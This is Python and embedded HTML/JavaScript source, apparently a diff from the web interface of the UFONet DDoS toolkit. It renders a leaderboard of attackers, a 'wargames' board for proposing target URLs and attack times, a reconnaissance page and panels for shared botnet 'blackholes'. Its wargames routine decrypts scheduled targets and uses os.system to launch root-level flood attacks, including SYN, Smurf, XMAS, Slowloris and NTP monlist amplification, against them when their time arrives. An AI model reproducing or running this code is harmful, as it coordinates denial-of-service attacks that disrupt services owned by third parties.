- grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
- grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
- grid_contact = "<a href=javascript:alert('"+str(m[9][0:12])+"');>View</a>" # js contact view (obfuscation)
- try:
- grid_id = m[10] # id (plain id)
- except:
- grid_id = "invalid!"
- else: # no valid version
- pass
- grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
- else: # not valid stream data
- pass
- grid_table += "</table>"
- if mothership_members == 0:
- mothership_members = "¿?"
- if unknown_members == 0:
- unknown_members = "¿?"
- l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
- mother_grid = "<div id='grid_panel_enc' style='display:block'><br><center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td><font color='orange'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td><font color='white'>¿?</font></td><td><font color='cyan' size='4'>**</font></td><td><font color='cyan'>¿?</font></td><td><font color='blueviolet' size='4'>***</font></td><td><font color='blueviolet'>¿?</font></td><td><font color='blue' size='4'>****</font></td><td><font color='blue'>¿?</font></td><td><font color='red' size='4'>▼</font></td><td><font color='red'>¿?</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><tr><td>MISSIONS:</td><td>¿?</td><td>ATTACKS:</td><td>¿?</td><td>CHARGO (ACTIVE!):</td><td>¿?</td><td>DORKING:</td><td>¿?</td><td>TRANSF:</td><td>¿?</td><td>MAX.CHARGO:</td><td>¿?</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td>LOIC:</td><td>¿?</td><td>LORIS:</td><td>¿?</td><td>UFOSYN:</td><td>¿?</td><td>SPRAY:</td><td>¿?</td><td>SMURF:</td><td>¿?</td></tr><tr><td>XMAS:</td><td>¿?</td><td>NUKE:</td><td>¿?</td><td>TACHYON:</td><td>¿?</td><td>MONLIST:</td><td>¿?</td></tr></table><br><hr><br>"
- grid_table = mother_grid + grid_table + "</div>"
- return grid_table
- def html_grid(self):
- if self.ranking == "Rookie": # Rookie
- your_ranking = "<font color='white'>Rookie [*]</font>"
- elif self.ranking == "Mercenary": # Mercenary
- your_ranking = "<font color='cyan'>Mercenary [**]</font>"
- elif self.ranking == "Bandit": # Bandit
- your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
- elif self.ranking == "UFOmmander!": # UFOmmander!
- your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
- elif self.ranking == "UFOl33t!": # UFOl33t!
- your_ranking = "<font color='red'>UFOl33t! [▼]</font>"
- else:
- your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
- if '"grid_token": "NONE"' in open(self.mothership_gridcfg_file).read():
- device_state = "OFF"
- device = "Grid device: <font color='red'>OFF</font><br>"
- else:
- device_state = "ON"
- gridcfg_json_file = open(self.mothership_gridcfg_file, "r") # extract mothership gridcfg
- data = json.load(gridcfg_json_file)
- gridcfg_json_file.close()
- grid_token = data["grid_token"]
- grid_contact = data["grid_contact"]
- grid_contact.encode('utf-8')
- grid_nick = data["grid_nick"]
- grid_nick.encode('utf-8')
- device = "<table cellpadding='5'><tr><td> -CONTACT: "+str(grid_contact)+"</td></tr><tr><td> -NICKNAME: "+str(grid_nick)+"</td></tr><tr><td> -RANKING: "+str(your_ranking)+"</td></tr><tr><td> -ID: "+str(grid_token)+"</td></tr></table>"
- if device_state == "OFF":
- grid_panel = ""
- else:
- grid_table = self.generate_grid()
- grid_panel = grid_table + "<br><div id='cmdOut'></div><br></center><center>"
- if device_state == "OFF":
- dec_panel = ""
- else:
- dec_panel = "<table cellpading='5' cellspacing='10'><tr><td><form method='GET'>Your key: <input type='text' name='grid_key' id='grid_key' size='20' value='"+ str(self.crypto_key) +"'></td><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_grid();>Try decryption!</a></form></td></tr></table>"
- if device_state == "OFF":
- sync_panel = ""
- else:
- sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source' id='grid_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><hr>"
- if device_state == "OFF":
- transfer_panel = ""
- else:
- transfer_panel = "<form method='GET'><table cellpadding='5' cellspacing='5'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source_upload' id='grid_source_upload' size='20' value='"+default_blackhole+"'></td></tr><tr><td>Key (encryption):</td><td><input type='text' name='grid_key_upload' id='grid_key_upload' size='20' value='"+ str(self.crypto_key) +"'></td></tr></table></td><td><button title='Upload stats of your mothership to the Grid of that blackhole...' onclick='TransferGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Transfer data...</button></td></tr></table></form><hr>"
- if device_state == "OFF":
- remove_grid = ""
- else:
- remove_grid = '| <button title="Review your mothership stats..." onclick="Stats()">STATS!</button> | <button title="Syncronize data from a blackhole/grid with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Decrypt data with a specific key..." onclick="Decryption_panel()">DECRYPT!</button> | <button title="Send your data to a global blackhole/grid..." onclick="Transfer_panel()">UPLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveGrid()">TURN OFF!</button>'
- return self.pages["/header"] + """<script language="javascript">
- function GridProfile() {
- var win_grid_profile = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
- }
- function RemoveGrid() {
- var win_grid_profile = window.open("grid_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
- }
- function Stats() {
- var win_grid_profile = window.open("stats","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
- }
- function Sync_panel(){
- document.getElementById("sync_panel_block").style.display = "block";
- document.getElementById("dec_panel").style.display = "none";
- document.getElementById("transfer_panel").style.display = "none";
- }
- function SyncGrid(){
- grid_source=document.getElementById("grid_source").value
- if(grid_source == "") {
- window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
- return
- }else{
- params="grid_source="+escape(grid_source)
- runCommandX("cmd_sync_grid",params)
- setTimeout("location.reload()", 10000)
- }
- }
- function Transfer_panel(){
- document.getElementById("transfer_panel").style.display = "block";
- document.getElementById("sync_panel_block").style.display = "none";
- document.getElementById("dec_panel").style.display = "none";
- }
- function TransferGrid() {
- grid_source=document.getElementById("grid_source_upload").value
- grid_key=document.getElementById("grid_key_upload").value
- if(grid_source == "") {
- window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
- return
- }else{
- if(grid_key == "") {
- window.alert("You need to enter a valid key (provided by someone)");
- return
- }else{
- params="grid_source="+escape(grid_source)+"&grid_key="+escape(grid_key)
- runCommandX("cmd_transfer_grid",params)
- setTimeout("location.reload()", 10000)
- }
- }
- }
- function Decryption_panel(){
- document.getElementById("dec_panel").style.display = "block";
- document.getElementById("transfer_panel").style.display = "none";
- document.getElementById("sync_panel_block").style.display = "none";
- }
- function Decrypt_grid(){
- grid_key=document.getElementById("grid_key").value
- if(grid_key == "") {
- window.alert("You need to enter a valid key (provided by someone)");
- return
- }else{
- params="grid_key="+escape(grid_key)
- runCommandX("cmd_decrypt_grid",params)
- panel_enc = document.getElementById("grid_panel_enc").style.display
- if(panel_enc == "block"){
- panel_enc = document.getElementById("grid_panel_enc").style.display = 'none';
- }
- }
- }
- function GridFilter(filter, key){
- params="filter="+escape(filter)+"&key="+escape(key)
- runCommandX("cmd_grid_filter", params)
- setTimeout("Decrypt_grid()", 2000)
- }
- </script>
- </head><body bgcolor="black" text="yellow" style="font-family:Â Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
- <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
- <br><center>
- <table cellpadding="5" cellspacing="5"><tr>
- <td><a href="javascript:alert('7337-VH13 says: """ + self.ranking + """... Welcome to the Grid. A good place to represent our Federation.');"><img src='data:image/png;base64,"""+self.alien6_img+"""'></a></td><td>
- <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="GridProfile()">CONFIGURE!</button> """+remove_grid+"""</td></tr></table></tr></table>
- <hr><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"""+sync_panel+"""</div><div id='transfer_panel' name='transfer_panel' style='display:none;'>"""+transfer_panel+"""</div><div id="dec_panel" style="display:none;">"""+dec_panel+"""<hr></div>"""+grid_panel+"""
- """ + self.pages["/footer"]
- def generate_wargames(self):
- with open(self.wargames_file) as f:
- for line in f:
- line = line.strip()
- f.close()
- wargames_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TARGET:</u></td><td align='center'><u>DATE:</u></td><td align='center'><u>ETA:</u></td><td align='center'><u>STATUS:</u></td></tr>"
- for m in self.list_wargames: # list = creation, target, estimated
- if wargames_msg_sep in m:
- m = m.split(wargames_msg_sep)
- wargame_creation = m[0][0:12] # creation date
- wargame_creation = ''.join(random.sample(wargame_creation,len(wargame_creation))) # creation date (obfuscation)
- wargame_target = m[1][0:12] # target (obfuscation)
- wargame_target = ''.join(random.sample(wargame_target,len(wargame_target))) # target (obfuscation)
- wargame_estimated = m[2][0:12] # estimated date
- wargame_estimated = ''.join(random.sample(wargame_estimated,len(wargame_estimated))) # estimated date (obfuscation)
- wargame_state = str("HSvtfBFwQBSms8h/7Ra/tKGNYp7KqiiNeOMPzDmrChJqyBJ+yuRiHpY9H+/LDQ==")[0:12] # state ("ENCRYPTED!")
- wargame_state = ''.join(random.sample(wargame_state,len(wargame_state))) # state (obfuscation)
- wargame_status = wargame_state # status (obfuscated like state)
- wargames_table += "<tr><td align='center'>"+str(wargame_creation)+"</td><td align='center'>"+str(wargame_target)+"</td><td align='center'>"+str(wargame_estimated)+"</td><td align='center'>"+str(wargame_state)+"</td><td align='center'>"+str(wargame_status)+"</td></tr>"
- wargames_table += "</table>"
- mother_wargame = "<div id='wargames_panel_enc' style='display:block'>"
- wargames_table = mother_wargame + wargames_table + "</div>"
- return wargames_table
- def html_wargames(self):
- l = time.ctime(os.path.getmtime(self.wargames_file)) # get last modified time
- now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
- wargames_table = self.generate_wargames()
- return self.pages["/header"] + """<script language="javascript">
- function Decrypt_wargames(){
- wargames_deckey=document.getElementById("wargames_deckey").value
- if(wargames_deckey == "") {
- window.alert("You need to enter a valid key (provided by someone)");
- return
- }else{
- params="wargames_deckey="+escape(wargames_deckey)
- runCommandX("cmd_decrypt_wargames",params)
- panel_enc = document.getElementById("wargames_panel_enc").style.display
- if(panel_enc == "block"){
- panel_enc = document.getElementById("wargames_panel_enc").style.display = 'none';
- }
- }
- }
- function SyncWargames(){
- wargames_source=document.getElementById("wargames_source").value
- if(wargames_source == "") {
- window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
- return
- }else{
- params="wargames_source="+escape(wargames_source)
- runCommandX("cmd_sync_wargames",params)
- setTimeout("location.reload()", 10000)
- }
- }
- function Send() {
- wargames_source2=document.getElementById("wargames_source2").value
- wargames_enckey=document.getElementById("wargames_enckey").value
- wargames_target=document.getElementById("wargames_target").value
- wargames_estimated=document.getElementById("wargames_estimated").value
- if(wargames_source2 == "") {
- window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
- return
- }else{
- if(wargames_enckey == "") {
- window.alert("You need to enter a valid key (provided by someone)");
- return
- }else{
- params="wargames_source2="+escape(wargames_source2)+"&wargames_enckey="+escape(wargames_enckey)+"&wargames_target="+escape(wargames_target)+"&wargames_estimated="+escape(wargames_estimated)
- runCommandX("cmd_transfer_wargame",params)
- setTimeout("location.reload()", 10000)
- }
- }
- }
- function JobRemove(id) {
- params="id="+escape(id)
- runCommandX("cmd_job_remove",params)
- setTimeout("Decrypt_wargames()", 2000)
- }
- function JobAdd(id) {
- params="id="+escape(id)
- runCommandX("cmd_job_add", params)
- setTimeout("Decrypt_wargames()", 2000)
- }
- function JobAddAll() {
- runCommandX("cmd_job_add_all")
- setTimeout("Decrypt_wargames()", 2000)
- }
- function JobCancel(id) {
- params="id="+escape(id)
- runCommandX("cmd_job_cancel", params)
- setTimeout("Decrypt_wargames()", 2000)
- }
- function JobRemoveAll(key) {
- params="key="+escape(key)
- runCommandX("cmd_job_remove_all", params)
- setTimeout("Decrypt_wargames()", 2000)
- }
- function JobCancelAll() {
- runCommandX("cmd_job_cancel_all")
- setTimeout("Decrypt_wargames()", 2000)
- }
- function JobFilter(filter, key) {
- params="filter="+escape(filter)+"&key="+escape(key)
- runCommandX("cmd_job_filter", params)
- setTimeout("Decrypt_wargames()", 2000)
- }
- function EditSupply(){
- if(document.getElementById("supply_edit").value == "EDIT"){
- document.getElementById("supply_botnet").readOnly = false;
- document.getElementById("supply_loic").readOnly = false;
- document.getElementById("supply_loris").readOnly = false;
- document.getElementById("supply_ufosyn").readOnly = false;
- document.getElementById("supply_spray").readOnly = false;
- document.getElementById("supply_smurf").readOnly = false;
- document.getElementById("supply_xmas").readOnly = false;
- document.getElementById("supply_nuke").readOnly = false;
- document.getElementById("supply_tachyon").readOnly = false;
- document.getElementById("supply_monlist").readOnly = false;
- document.getElementById("supply_edit").title = "Set global army supply..."
- document.getElementById("supply_edit").value = "SET"
- document.getElementById("supply_edit").innerHTML = "SET!"
- }else{
- supply_botnet=document.getElementById("supply_botnet").value
- supply_loic=document.getElementById("supply_loic").value
- supply_loris=document.getElementById("supply_loris").value
- supply_ufosyn=document.getElementById("supply_ufosyn").value
- supply_spray=document.getElementById("supply_spray").value
- supply_smurf=document.getElementById("supply_smurf").value
- supply_xmas=document.getElementById("supply_xmas").value
- supply_nuke=document.getElementById("supply_nuke").value
- supply_tachyon=document.getElementById("supply_tachyon").value
- supply_monlist=document.getElementById("supply_monlist").value
- if(isNaN(parseFloat(supply_botnet)) || parseFloat(supply_botnet) < 0) {
- window.alert("You need to enter a valid BOTNET supply number (int>=0)");
- return
- }else{
- if(isNaN(parseFloat(supply_loic)) || parseFloat(supply_loic) < 0) {
- window.alert("You need to enter a valid LOIC supply number (int>=0)");
- return
- }else{
- if(isNaN(parseFloat(supply_loris)) || parseFloat(supply_loris) < 0) {
- window.alert("You need to enter a valid LORIS supply number (int>=0)");
- return
- }else{
- if(isNaN(parseFloat(supply_ufosyn)) || parseFloat(supply_ufosyn) < 0) {
- window.alert("You need to enter a valid UFOSYN supply number (int>=0)");
- return
- }else{
- if(isNaN(parseFloat(supply_spray)) || parseFloat(supply_spray) < 0) {
- window.alert("You need to enter a valid SPRAY supply number (int>=0)");
- return
- }else{
- if(isNaN(parseFloat(supply_smurf)) || parseFloat(supply_smurf) < 0) {
- window.alert("You need to enter a valid SMURF supply number (int>=0)");
- return
- }else{
- if(isNaN(parseFloat(supply_xmas)) || parseFloat(supply_xmas) < 0) {
- window.alert("You need to enter a valid XMAS supply number (int>=0)");
- return
- }else{
- if(isNaN(parseFloat(supply_nuke)) || parseFloat(supply_nuke) < 0) {
- window.alert("You need to enter a valid NUKE supply number (int>=0)");
- return
- }else{
- if(isNaN(parseFloat(supply_tachyon)) || parseFloat(supply_tachyon) < 0) {
- window.alert("You need to enter a valid TACHYON supply number (int>=0)");
- return
- }else{
- if(isNaN(parseFloat(supply_monlist)) || parseFloat(supply_monlist) < 0) {
- window.alert("You need to enter a valid MONLIST supply number (int>=0)");
- return
- }else{
- document.getElementById("supply_botnet").readOnly = true;
- document.getElementById("supply_loic").readOnly = true;
- document.getElementById("supply_loris").readOnly = true;
- document.getElementById("supply_ufosyn").readOnly = true;
- document.getElementById("supply_spray").readOnly = true;
- document.getElementById("supply_smurf").readOnly = true;
- document.getElementById("supply_xmas").readOnly = true;
- document.getElementById("supply_nuke").readOnly = true;
- document.getElementById("supply_tachyon").readOnly = true;
- document.getElementById("supply_monlist").readOnly = true;
- document.getElementById("supply_edit").title = "Edit global army supply..."
- document.getElementById("supply_edit").value = "EDIT"
- document.getElementById("supply_edit").innerHTML = "EDIT"
- params="botnet="+escape(supply_botnet)+"&loic="+escape(supply_loic)+"&loris="+escape(supply_loris)+"&ufosyn="+escape(supply_ufosyn)+"&spray="+escape(supply_spray)+"&smurf="+escape(supply_smurf)+"&xmas="+escape(supply_xmas)+"&nuke="+escape(supply_nuke)+"&tachyon="+escape(supply_tachyon)+"&monlist="+escape(supply_monlist)
- runCommandX("cmd_edit_supply",params)
- setTimeout("Decrypt_wargames()", 2000)
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- </script>
- </head><body bgcolor="black" text="yellow" style="font-family:Â Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
- <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
- <br>
- <center>
- <table cellpadding="5" cellspacing="5"><tr>
- <td><a href="javascript:alert('Vnïjwvödvnh says: """ + self.ranking + """... Are you searching for some real action?. Well, this is your place...');"><img src='data:image/png;base64,"""+self.alien8_img+"""'></a></td>
- <td>
- <pre>This feature will allow you to propose/join some real 'wargames'.
- <hr>
- <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source' id='wargames_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'wargames' proposed by other motherships..." onclick="SyncWargames()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="wargames_deckey" id="wargames_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_wargames();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>Your proposal:</td><td><input type="text" name="wargames_target" id="wargames_target" size="30" placeholder="http(s)://" required pattern="https?://.+"></td></tr><tr><td>Date time (UTC):</td><td><input type="text" name="wargames_estimated" id="wargames_estimated" size="20" placeholder="dd-mm-yyyy hh:mm:ss" required pattern=".+-.+-.+ .+:.+:.+"> (ex: """+str(now)+""")</td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source2' id='wargames_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="wargames_enckey" id="wargames_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your proposal to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table>
- <hr><br>
- <u>WARGAMES</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+wargames_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
- def html_abduction(self):
- return self.pages["/header"] + """<script language="javascript">
- function Requests() {
- var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
- }
- function Start(){
- target=document.getElementById("target").value
- String.prototype.startsWith = function(prefix){
- return this.indexOf(prefix) === 0;
- }
- if(target.startsWith("http")){
- params="target="+escape(target)
- }else{
- window.alert("Target url not valid! -> It should starts with 'http(s)://'");
- return
- }
- runCommandX("cmd_abduction",params)
- }
- </script></head><body bgcolor="black" text="yellow" style="font-family:Â Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
- <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
- <br>
- <center>
- <table cellpadding="5" cellspacing="5"><tr>
- <td><a href="javascript:alert('Ofgöfeejh says: """ + self.ranking + """... Lets research about our enemies first, right?...');"><img src='data:image/png;base64,"""+self.alien7_img+"""'></a></td>
- <td>
- <pre>
- This feature will provide you information about target's web server.
- You can use this before to attack to be more effective.
- <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
- <hr>
- * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
- <hr>
- <button title="Start to research about your target's webserver configuration..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">RESEARCH!</button>
- </pre>
- </td></tr></table>
- <hr><br>
- <div id="cmdOut"></div>""" + self.pages["/footer"]
- def html_blackholes(self):
- return self.pages["/header"] + """<script language="javascript">
- function Decrypt(){
- blackhole_key=document.getElementById("blackhole_key").value
- if(blackhole_key == "") {
- window.alert("You need to enter a valid key (provided by someone)");
- return
- }else{
- params="blackhole_key="+escape(blackhole_key)
- runCommandX("cmd_decrypt",params)
- document.getElementById("nb1").style.display = "none";
- }
- }
- </script>
- <script language="javascript">
- function RefreshBlackhole(){
- blackholes_source=document.getElementById("blackholes_source").value
- if(blackholes_source == "") {
- window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
- return
- }else{
- params="blackholes_source="+escape(blackholes_source)
- runCommandX("cmd_refresh_blackholes",params)
- document.getElementById("nb1").style.display = "none";
- setTimeout("location.reload()", 10000)
- }
- }
- </script>
- </head><body bgcolor="black" text="yellow" style="font-family:Â Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
- <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
- <br>
- <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
- <td>Blackhole/IP:</td>
- <td><input type="text" name="blackholes_source" id="blackholes_source" size="20" value='"""+default_blackhole+"""'></td>
- </tr></table></td><td><button title="Refreshing blackhole..." onClick="RefreshBlackhole()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Open Warp!</button></td></tr></table>
- <hr>
- <table cellpadding="5" cellspacing="5"><tr>
- <td><a href="javascript:alert('Dhïkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed way...');"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td><td>
- <table cellpading="5" cellspacing="10"><tr><td>
- <form method='GET'>
- Your key: <input type="text" name="blackhole_key" id="blackhole_key" size="20" value='"""+self.crypto_key+"""'>
- </td></tr><tr><td>
- <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
- </form>
- </td></tr></table></td></tr></table>
- <hr><br>
- </center>
- Last update: <font color='"""+ self.blackholes_status_color + """'>"""+ self.blackholes_datetime + """</font><br><br>
- <div id="cmdOut"></div>
- <div id="nb1" style="display: block;">"""+self.blackholes_text+"""</div>
- """ + self.pages["/footer"]
- def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui refresh (global army supply)
- sep = "#-#"
- flag_ufosyn = None
- flag_spray = None
- flag_smurf = None
- flag_xmas = None
- flag_nuke = None
- flag_tachyon = None
- flag_monlist = None
- for job in wargames_engage_list:
- job_t2 = job.rsplit(sep, 1)[0]
- job_creation = job_t2.rsplit(sep, 1)[0]
- job_target = job_t2.rsplit(sep, 1)[1]
- job_estimated = job.rsplit(sep, 1)[1]
- self.decrypt(self.crypto_key, job_estimated)
- if self.decryptedtext:
- job_estimated_dec = self.decryptedtext
- else:
- job_estimated_dec = ""
- self.decryptedtext = ""
- now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
- now = strptime(now, "%d-%m-%Y %H:%M:%S")
- job_estimated_dec = strptime(job_estimated_dec.decode('utf-8'), "%d-%m-%Y %H:%M:%S")
- if (job_estimated_dec == now or job_estimated_dec < now): # engage it! (when 'now' or '<')
- self.decrypt(self.crypto_key, job_target)
- if self.decryptedtext:
- job_target_dec = self.decryptedtext
- else:
- job_target_dec = ""
- self.decryptedtext = ""
- if job_target_dec is not "":
- job_target_dec = "http://" + job_target_dec # set target prefix to http://
- try: # read global army supply (json)
- with open(self.mothership_supplycfg_file) as data_file:
- data = json.load(data_file)
- except:
- print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
- with open(self.mothership_supplycfg_file, "w") as f:
- json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0}, f, indent=4)
- with open(self.mothership_supplycfg_file) as data_file:
- data = json.load(data_file)
- self.supply_botnet = data["botnet"]
- self.supply_loic = data["loic"]
- self.supply_loris = data["loris"]
- self.supply_ufosyn = data["ufosyn"]
- self.supply_spray = data["spray"]
- self.supply_smurf = data["smurf"]
- self.supply_xmas = data["xmas"]
- self.supply_nuke = data["nuke"]
- self.supply_tachyon = data["tachyon"]
- self.supply_monlist = data["monlist"]
- job_estimated_dec = strftime("%d-%m-%Y %H:%M:%S", job_estimated_dec)
- print("[Info] [Wargames] Time is over: [" + str(job_estimated_dec) + "] -> Engaging target: " + str(job_target_dec))
- cmd = ""
- nonroot_cmd = "python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
- root_cmd = "sudo python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
- if int(self.supply_monlist) > 0:
- cmd += "--monlist " +str(self.supply_monlist)+ " "
- flag_monlist = True
- if int(self.supply_tachyon) > 0:
- cmd += "--tachyon " +str(self.supply_tachyon)+ " "
- flag_tachyon = True
- if int(self.supply_nuke) > 0:
- cmd += "--nuke " +str(self.supply_nuke)+ " "
- flag_nuke = True
- if int(self.supply_xmas) > 0:
- cmd += "--xmas " +str(self.supply_xmas)+ " "
- flag_xmas = True
- if int(self.supply_smurf) > 0:
- cmd += "--smurf " +str(self.supply_smurf)+ " "
- flag_smurf = True
- if int(self.supply_spray) > 0:
- cmd += "--spray " +str(self.supply_spray)+ " "
- flag_spray = True
- if int(self.supply_ufosyn) > 0:
- cmd += "--ufosyn " +str(self.supply_ufosyn)+ " "
- flag_ufosyn = True
- if int(self.supply_loris) > 0:
- cmd += "--loris " +str(self.supply_loris)+ " "
- if int(self.supply_loic) > 0:
- cmd += "--loic " +str(self.supply_loic)+ " "
- if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
- cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
- if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True:
- cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST)
- runcmd = cmd + " "
- runcmd = runcmd + "--force-yes &" # no raw_input allowed on webgui (+run it as daemon!)
- print("[Info] [Wargames] Running command:", runcmd, "\n")
- os.system(runcmd) # launch it!
- if "!!!" in job: # remove it from queue (unjob)
- f = open(self.wargames_file, "r")
- ls = f.readlines()
- f.close()
- f = open(self.wargames_file, "w")
- for l in ls:
- if str(l) != str(job):
- f.write(l)
- else:
- job = re.sub('[!!!]', '', job)
- f.write(job)
- f.close()
- def extract_ranking_table(self):
- f = open(self.grid_file,"r") # ranking data extracted from grid.txt
- ls = f.readlines()
- f.close()
- if not ls: # not data on grid.txt
- return
- ranking_items={}
- ranking_key = crypto_key
- nodec_text = "Anonymous"
- nodec_num = 0
- self.ranking_grid_total = 0
- try:
- for j in ls:
- if grid_msg_sep in j:
- self.ranking_grid_total = self.ranking_grid_total + 1
- m = j.split(grid_msg_sep)
- ranking_nickname = m[0] # nickname
- self.decrypt(ranking_key, ranking_nickname)
- if self.decryptedtext:
- ranking_nickname = str(self.decryptedtext)
- else:
- ranking_nickname = nodec_text
- if ranking_nickname == "Anonymous":
- ranking_nickname = ranking_nickname + str(self.ranking_grid_total*3) # add pseudo-rand as end to evade similars
- self.decryptedtext = "" # clean decryptedtext buffer
- ranking_ranking = m[1] # ranking
- self.decrypt(ranking_key, ranking_ranking)
- if self.decryptedtext:
- try:
- ranking_ranking = int(self.decryptedtext)
- except:
- ranking_ranking = nodec_num
- else:
- ranking_ranking = nodec_num
